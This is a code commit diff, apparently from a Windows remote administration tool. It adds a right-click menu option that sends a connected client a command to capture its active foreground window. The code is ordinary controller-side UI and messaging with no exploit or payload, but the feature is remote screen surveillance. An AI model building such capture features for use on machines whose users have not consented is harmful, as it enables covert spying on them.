Feat: Support viewing active window via online-host popup menu
This commit is contained in:
@@ -641,6 +641,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
|
||||
m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
||||
m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY);
|
||||
m_bmOnline[59].LoadBitmap(IDB_BITMAP_ACTIVE_WND);
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
m_ServerBin[i] = nullptr;
|
||||
@@ -993,6 +994,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_SPLITTER_MOVED, &CMy2015RemoteDlg::OnSplitterMoved)
|
||||
ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased)
|
||||
ON_COMMAND(ID_COPY_CLIENT_INFO, &CMy2015RemoteDlg::OnCopyClientInfo)
|
||||
ON_COMMAND(ID_ONLINE_ACTIVE_WND, &CMy2015RemoteDlg::OnOnlineActiveWnd)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -4030,6 +4032,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_STD, MF_BYCOMMAND, &m_bmOnline[24], &m_bmOnline[24]);
|
||||
Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
|
||||
Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]);
|
||||
|
||||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||||
|
||||
@@ -10298,6 +10301,22 @@ LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::PostCaptureForegroundWindow(context* ctx)
|
||||
{
|
||||
// 向指定客户端发送"动态前景窗口捕获"命令。
|
||||
// 复用 WM_OPEN_WINDOW_SCREEN 消息,hwnd64 用 (uint64_t)-1 作为 sentinel。
|
||||
// 调用方示例(在 UI 线程,已持有 context* 的情况下):
|
||||
// PostCaptureForegroundWindow(GetSelectedContext());
|
||||
char* arg = new char[2 * sizeof(uint64_t)]();
|
||||
uint64_t clientID = ctx->GetClientID();
|
||||
uint64_t sentinel = (uint64_t)-1;
|
||||
memcpy(arg, &clientID, sizeof(uint64_t));
|
||||
memcpy(arg + sizeof(uint64_t), &sentinel, sizeof(uint64_t));
|
||||
if (!PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
|
||||
delete[] arg;
|
||||
}
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
char* ip = (char*)wParam;
|
||||
@@ -11338,3 +11357,13 @@ void CMy2015RemoteDlg::OnCopyClientInfo()
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineActiveWnd()
|
||||
{
|
||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
if (!Pos) return;
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||
auto ctx = GetContextByListIndex(iItem);
|
||||
if (!ctx) return;
|
||||
PostCaptureForegroundWindow(ctx);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user